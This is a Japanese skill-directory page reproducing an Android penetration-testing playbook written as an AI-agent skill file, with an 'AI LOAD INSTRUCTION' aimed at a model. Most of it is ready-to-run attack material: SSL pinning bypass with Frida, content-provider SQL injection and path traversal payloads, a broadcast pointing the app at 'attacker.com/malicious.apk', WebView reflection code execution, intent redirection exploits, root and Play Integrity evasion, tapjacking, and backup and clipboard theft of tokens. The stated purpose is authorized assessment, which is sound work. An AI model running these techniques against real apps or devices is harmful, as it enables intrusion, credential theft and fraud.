Agent Skills by ALSEL
Anthropic Claudeセキュリティ⭐ リポ 0品質スコア 50/100

android-pentesting-tricks

Android アプリケーションの侵入テスト向けプレイブック。認可されたモバイルセキュリティ評価において、SSL ピンニングのバイパス、エクスポートされたコンポーネントの悪用、WebView の脆弱性、Intent リダイレクト、ルート検出のバイパス、タップジャッキング、バックアップ抽出などを検証する際に使用します。

description の原文を見る

>- Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

SKILL.md 本文

SKILL: Android ペネトレーション テスト トリック — エキスパート攻撃プレイブック

AI LOAD INSTRUCTION: Expert Android アプリケーション セキュリティ テスト技法。SSL ピニング バイパス (Frida/Objection/LSPosed)、コンポーネント露出、WebView エクスプロイト、インテント リダイレクション、ルート検出バイパス、Play Integrity 回避をカバーします。ベース モデルは Frida フック詳細と多層バイパス チェーンを見落とします。

0. 関連ルーティング

詳細に進む前に、以下の読み込みを検討してください:

  • mobile-ssl-pinning-bypass - 深掘りなクロスプラットフォーム SSL ピニング バイパス技法とフレームワーク固有のフック
  • ios-pentesting-tricks - 同じアプリの iOS バージョンもテストする場合
  • api-sec - トラフィックをインターセプト後のバックエンド API セキュリティ テスト

高度なリファレンス

以下が必要な場合は FRIDA_SCRIPTS.md も読み込みます:

  • 一般的な Android テストタスク用の Frida スクリプト テンプレート
  • OkHttp、Retrofit、Volley、WebView の詳細フック ポイント
  • ルート検出バイパス スクリプト コレクション

1. SSL ピニング バイパス

1.1 Frida ユニバーサル バイパス

# デバイスに Frida サーバーをインストール
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server-16.x.x-android-arm64"
adb shell "/data/local/tmp/frida-server-16.x.x-android-arm64 &"

# ユニバーサル SSL ピニング バイパス
frida -U -l ssl_pinning_bypass.js -f com.target.app --no-pause
フック ポイントライブラリ/クラスカバレッジ
X509TrustManager.checkServerTrustedAndroid SDKすべての標準 HTTPS
OkHttpClient.Builder.sslSocketFactoryOkHttp 3.x/4.xSquare OkHttp
CertificatePinner.checkOkHttp 3.x/4.xOkHttp ピニング
HttpsURLConnection.setSSLSocketFactoryAndroid SDKレガシー HTTPS
SSLContext.initAndroid SDKカスタム SSL コンテキスト
WebViewClient.onReceivedSslErrorWebViewWebView SSL エラー
TrustManagerFactory.getTrustManagersAndroid SDKファクトリ作成の TM

1.2 Objection (クイック メソッド)

objection -g com.target.app explore
# Objection REPL 内:
android sslpinning disable

1.3 ネットワーク セキュリティ Config (デバッグ ビルド)

APK を修正できる場合またはデバッグ ビルドの場合:

<!-- res/xml/network_security_config.xml -->
<network-security-config>
  <debug-overrides>
    <trust-anchors>
      <certificates src="user" />  <!-- ユーザーがインストール済みの CA を信頼 -->
    </trust-anchors>
  </debug-overrides>
</network-security-config>

1.4 Magisk モジュール アプローチ

モジュールメソッドスコープ
LSPosed + TrustMeAlreadyシステム全体の TrustManager をフックすべてのアプリ
LSPosed + SSLUnpinningターゲット SSL バイパスアプリ単位
MagiskTrustUserCertsユーザー CA をシステム ストアに移動システム CA を信頼するすべてのアプリ
ConscryptTrustUserCertsConscrypt にパッチ適用新しい Android (7+)

2. コンポーネント露出

2.1 エクスポート済みアクティビティ

# エクスポート済みアクティビティを検索 (AndroidManifest.xml または aapt)
aapt dump xmltree target.apk AndroidManifest.xml | grep -B 5 "exported.*true"

# エクスポート済みアクティビティを直接起動
adb shell am start -n com.target.app/.AdminActivity
adb shell am start -n com.target.app/.DeepLinkActivity \
  -d "target://callback?token=attacker_token"

# 追加データ付き
adb shell am start -n com.target.app/.TransferActivity \
  --es "amount" "99999" --es "recipient" "attacker"

2.2 コンテント プロバイダー

# エクスポース済みコンテント プロバイダーをクエリ
adb shell content query --uri content://com.target.app.provider/users

# コンテント プロバイダーの SQL インジェクション
adb shell content query --uri "content://com.target.app.provider/users" \
  --where "1=1) UNION SELECT sql,2,3 FROM sqlite_master--"

# ファイル提供コンテント プロバイダーのパストラバーサル
adb shell content read --uri "content://com.target.app.fileprovider/../../../../etc/hosts"
プロバイダー タイプ攻撃ベクトルインパクト
データベース バックquery() プロジェクション/選択経由の SQL インジェクションデータ漏洩、認証バイパス
ファイル バックURI 経由のパストラバーサル任意ファイルの読取
Parcelableカスタム Parcelable のタイプ混同コード実行

2.3 ブロードキャスト レシーバー

# カスタマイズされたブロードキャストを送信
adb shell am broadcast -a com.target.app.ACTION_UPDATE \
  --es "url" "http://attacker.com/malicious.apk"

# 順序付きブロードキャスト インターセプション (優先度の高いレシーバーが最初にインターセプト)
# ターゲットより優先度の高いレシーバーを登録してデータをインターセプト/修正

2.4 エクスポート済みサービス

# エクスポート済みサービスを開始/バインド
adb shell am startservice -n com.target.app/.BackgroundService \
  --es "command" "exfiltrate"

# 実行中のサービスをリスト表示
adb shell dumpsys activity services | grep com.target

3. WEBVIEW 脆弱性

3.1 JavaScript インターフェース RCE (API 17 以前)

// 脆弱なコード: @JavascriptInterface アノテーションなし addJavascriptInterface
webView.addJavascriptInterface(new JSInterface(), "android");

// API 17 以前: 注入 JavaScript 経由のリフレクション ベース RCE
// WebView に注入:
// android.getClass().forName('java.lang.Runtime')
//   .getMethod('getRuntime').invoke(null).exec('id')

3.2 モダン WebView 攻撃

脆弱性条件エクスプロイト
setJavaScriptEnabled(true) + 信頼できないコンテンツJS 有効 + 攻撃者が読み込まれた URL を制御XSS → ブリッジ アクセス
setAllowFileAccessFromFileURLs(true)file:// が他の file:// を読取可能file:///data/data/com.target/... を読み込み
setAllowUniversalAccessFromFileURLs(true)file:// が任意のオリジンにアクセス可能XHR 経由で攻撃者に流出
loadUrl(user_controlled)loadUrl 内のユーザー入力javascript: スキームまたは file://
shouldOverrideUrlLoading バイパス不完全な URL 検証攻撃者制御ページへのリダイレクト
evaluateJavascript と汚染データJS 実行内のユーザー データWebView コンテキストの XSS

3.3 ディープ リンク から WebView チェーン

1. 攻撃者がディープ リンクを作成: target://webview?url=https://attacker.com/xss.html
2. アプリが WebView で攻撃者 URL を開く
3. WebView 内の XSS が JavaScript ブリッジを呼び出し: android.sensitiveMethod()
4. ブリッジがアプリ コンテキストとアプリの権限で実行

4. インテント リダイレクション

エクスポート済みアクティビティは Intent を受け取り、受信した Intent のデータを使用して別の (内部) アクティビティを開始します。

// 脆弱なパターン:
Intent received = getIntent();
Intent redirect = (Intent) received.getParcelableExtra("next_intent");
startActivity(redirect);
// 攻撃者が "next_intent" を制御 → 任意の内部アクティビティを開始可能
# エクスプロイト: リダイレクション経由で非エクスポート内部アクティビティを開始
adb shell am start -n com.target.app/.ExportedActivity \
  --es "next_intent" "intent:#Intent;component=com.target.app/.InternalAdminActivity;end"
パターンインジケーターリスク
getParcelableExtrastartActivityIntent-in-Intent非エクスポート アクティビティを開始
getStringExtra("url")startActivity(Intent.ACTION_VIEW)URL フォワーディング任意の URL を開く
getStringExtra("class")Class.forNamestartActivity動的クラス読み込み名前でアクティビティを開始

5. ルート検出 バイパス

5.1 一般的なルート検出チェック

チェック検出内容Frida バイパス
su バイナリ存在/system/xbin/su/sbin/suFile.exists() をフック → false を返す
ビルド タグに "test-keys" を含むBuild.TAGSBuild.TAGS をフック → "release-keys" を返す
Magisk Manager がインストール済みパッケージ名チェックPackageManager.getPackageInfo をフック
Superuser.apk が存在Su 管理アプリFile.exists() をフック
RootBeer ライブラリマルチチェック ルート検出すべての RootBeer チェック メソッドをフック
SafetyNet/Play Integrityサーバー側構成証明Magisk DenyList + モジュール が必須
異常なシステム プロパティro.debuggable=1 などSystemProperties.get をフック

5.2 Magisk DenyList (旧 MagiskHide)

# Magisk Manager で DenyList を有効化
# DenyList にターゲット アプリを追加 — Magisk がそのアプリから自分を非表示にする
# カバレッジ: su バイナリ、Magisk Manager パッケージ、マウント ポイント、props

6. PLAY INTEGRITY / SAFETYNET バイパス

レベルチェック内容バイパス難易度
基本的な完全性ルート化されていない、エミュレーターではない簡単 (Magisk + DenyList)
デバイス完全性ブートローダーがロック、検証済みブート難しい (ロック済みブートローダーが必須)
強力な完全性ハードウェア バック構成証明非常に難しい (ハードウェア TEE)

テクニック:

  • Zygisk が有効な Magisk + ターゲット アプリ用 DenyList
  • Play Integrity Fix (PIF) Magisk モジュール: デバイス フィンガープリントをスプーフィング
  • Shamiko モジュール: 特定のアプリからルートを非表示に
  • ロック済みブートローダー付きカスタム ROM (Pixel 固有のトリック)

7. タップジャッキング (オーバーレイ攻撃)

<!-- 悪意のあるオーバーレイ アクティビティ -->
<activity android:name=".OverlayActivity"
    android:theme="@style/TransparentTheme"
    android:excludeFromRecents="true">
</activity>

<!-- SYSTEM_ALERT_WINDOW 権限が必須 (他のアプリの上に描画) -->
Android バージョン保護バイパス
6.0 以前なし完全なオーバーレイ
6.0–11filterTouchesWhenObscured (オプト イン)これを使用しないアプリは脆弱
12+オーバーレイ ウィンドウの信頼できないタッチがブロック部分的なオーバーレイ、タイミング ベース

8. バックアップ 抽出

# バックアップ許可を確認
aapt dump xmltree target.apk AndroidManifest.xml | grep allowBackup
# android:allowBackup(0x01010280)=(type 0x12)0xffffffff → true (デフォルト!)

# バックアップを抽出
adb backup -f backup.ab -apk com.target.app
# tar に変換
dd if=backup.ab bs=24 skip=1 | openssl zlib -d > backup.tar
tar xf backup.tar

# 抽出データを分析
find com.target.app -name "*.db" -o -name "*.xml" -o -name "*.json"
# shared_prefs/ をチェック (トークン、認証情報)
# databases/ をチェック (SQLite DB と機密データ)

9. 追加トリック

9.1 デバッグ可能なアプリ エクスプロイト

# マニフェストで android:debuggable="true" の場合
adb shell run-as com.target.app
# アプリのユーザーとして実行中 — フル データ ディレクトリ アクセス
cat /data/data/com.target.app/shared_prefs/*.xml

9.2 Drozer (コンポーネント テスト フレームワーク)

# 攻撃サーフェスをリスト
dz> run app.package.attacksurface com.target.app
# Exported Activities: 3
# Exported Services: 1
# Exported Providers: 2

# プロバイダーをクエリ
dz> run app.provider.query content://com.target.app.provider/users
# インジェクション をスキャン
dz> run scanner.provider.injection -a com.target.app

9.3 クリップボード スニッフィング

// Android 10 以前: 任意のアプリがクリップボードを読取可能
ClipboardManager cm = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
cm.addPrimaryClipChangedListener(() -> {
    ClipData data = cm.getPrimaryClip();
    // コピーされたパスワード、トークンなどを流出
});

10. ANDROID ペネトレーション テスト デシジョン ツリー

Android アプリケーションをテスト中
│
├── HTTPS トラフィックをインターセプトできますか?
│   ├── いいえ → SSL ピニングが導入済み
│   │   ├── Frida は利用可能? → ユニバーサル SSL バイパス スクリプト (§1.1)
│   │   ├── ルート化済み + Magisk? → LSPosed + TrustMeAlready (§1.4)
│   │   ├── デバッグ ビルド? → ネットワーク セキュリティ Config (§1.3)
│   │   └── 上記なし? → 手動で逆コンパイル + パッチ + 再パッケージ
│   └── はい → トラフィック分析に進む
│
├── エクスポース済みコンポーネントが見つかったか?
│   ├── エクスポース済みアクティビティ → 直接起動、ディープリンク悪用をテスト (§2.1)
│   ├── コンテント プロバイダー → SQLi、パストラバーサル (§2.2)
│   ├── ブロードキャスト レシーバー → カスタマイズIntent インジェクション (§2.3)
│   └── サービス → 権限なしサービス バインディング (§2.4)
│
├── WebView が存在?
│   ├── JavaScript 有効 + JS インターフェース? → ブリッジ エクスプロイト (§3.1)
│   ├── ファイル アクセス有効? → file:// スキーム悪用 (§3.2)
│   └── ディープ リンク → WebView? → URL インジェクション チェーン (§3.3)
│
├── インテント ハンドリングが見つかった?
│   └── Intent-in-Intent パターン? → 非エクスポート アクティビティへのリダイレクト (§4)
│
├── ルート検出がテストをブロック?
│   ├── クライアント側チェックのみ? → Frida フック バイパス (§5.1)
│   ├── SafetyNet/Play Integrity? → Magisk DenyList + モジュール (§6)
│   └── カスタム難読化チェック? → リバース エンジニア + ターゲット フック
│
├── 機密データ ストレージ?
│   ├── allowBackup=true? → ADB バックアップ抽出 (§8)
│   ├── デバッグ可能? → run-as でダイレクト データ アクセス (§9.1)
│   └── SharedPreferences → 平文トークン/認証情報をチェック
│
└── UI ベース攻撃は適用可能?
    └── オーバーレイ可能? → タップジャッキング (§7)

ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ

詳細情報

作者
yaklang
リポジトリ
yaklang/hack-skills
ライセンス
MIT
最終更新
不明

Source: https://github.com/yaklang/hack-skills / ライセンス: MIT

関連スキル

Anthropic Claudeセキュリティ⭐ リポ 8,981

secure-code-guardian

認証・認可の実装、ユーザー入力の保護、OWASP Top 10の脆弱性対策が必要な場合に使用します。bcrypt/argon2によるパスワードハッシング、パラメータ化ステートメントによるSQLインジェクション対策、CORS/CSPヘッダーの設定、Zodによる入力検証、JWTトークンの構築などのカスタムセキュリティ実装に対応します。認証、認可、入力検証、暗号化、OWASP Top 10対策、セッション管理、セキュリティ強化全般で活用できます。ただし、構築済みのOAuth/SSO統合や単独のセキュリティ監査が必要な場合は、より特化したスキルの検討をお勧めします。

by Jeffallan
汎用セキュリティ⭐ リポ 1,982

claude-authenticity

APIエンドポイントが本物のClaudeによって支えられているか(ラッパーやプロキシ、偽装ではないか)を、claude-verifyプロジェクトを模した9つの重み付きルールベースチェックで検証できます。また、Claudeの正体を上書きしているプロバイダーから注入されたシステムプロンプトも抽出します。完全に自己完結しており、httpx以外の追加パッケージは不要です。Claude APIキーまたはエンドポイントを検証したい場合、サードパーティのClaudeサービスが本物か確認したい場合、APIプロバイダーのClaude正当性を監査したい場合、複数モデルを並行してテストしたい場合、またはプロバイダーが注入したシステムプロンプトを特定したい場合に使用できます。

by LeoYeAI
Anthropic Claudeセキュリティ⭐ リポ 2,159

anth-security-basics

Anthropic Claude APIのセキュリティベストプラクティスを適用し、キー管理、入力値の検証、プロンプトインジェクション対策を実施します。APIキーの保護、Claudeに送信する前のユーザー入力検証、コンテンツセーフティガードレールの実装が必要な場合に活用できます。「anthropic security」「claude api key security」「secure anthropic」「prompt injection defense」といったフレーズでトリガーされます。

by jeremylongshore
汎用セキュリティ⭐ リポ 699

x-ray

x-ray.mdプレ監査レポートを生成します。概要、強化された脅威モデル(プロトコルタイプのプロファイリング、Gitの重み付け攻撃面分析、時間軸リスク分析、コンポーザビリティ依存関係マッピング)、不変条件、統合、ドキュメント品質、テスト分析、開発者・Gitの履歴をカバーしています。「x-ray」「audit readiness」「readiness report」「pre-audit report」「prep this protocol」「protocol prep」「summarize this protocol」のキーワードで実行されます。

by pashov
汎用セキュリティ⭐ リポ 677

semgrep

Semgrepスタティック分析スキャンを実行し、カスタム検出ルールを作成します。Semgrepでのコードスキャン、セキュリティ脆弱性の検出、カスタムYAMLルールの作成、または特定のバグパターンの検出が必要な場合に使用します。重要:ユーザーが「バグをスキャンしたい」「コード品質を確認したい」「脆弱性を見つけたい」「スタティック分析」「セキュリティlint」「コード監査」または「コーディング標準を適用したい」と尋ねた場合も、Semgrepという名称を明記していなくても、このスキルを使用してください。Semgrepは30以上の言語に対応したパターンベースのコードスキャンに最適なツールです。

by wimpysworld
汎用セキュリティ⭐ リポ 591

ghost-bits-cast-attack

Java「ゴーストビッツ」/キャストアタック プレイブック(Black Hat Asia 2026)。16ビット文字が8ビットバイトに暗黙的に縮小されるJavaサービスへの攻撃時に使用します。WAF/IDSを回避して、SQLインジェクション、デシリアライゼーション型RCE、ファイルアップロード(Webシェル)、パストトラバーサル、CRLF インジェクション、リクエストスマグリング、SMTPインジェクションを実行できます。Tomcat、Spring、Jetty、Undertow、Vert.x、Jackson、Fastjson、Apache Commons BCEL、Apache HttpClient、Angus Mail、JDK HttpServer、Lettuce、Jodd、XMLWriterに影響し、WAFバイパスにより多くの「パッチ済み」CVEを再度有効化します。

by yaklang
本サイトは GitHub 上で公開されているオープンソースの SKILL.md ファイルをクロール・インデックス化したものです。 各スキルの著作権は原作者に帰属します。掲載に問題がある場合は info@alsel.co.jp または /takedown フォームよりご連絡ください。
原作者: yaklang · yaklang/hack-skills · ライセンス: MIT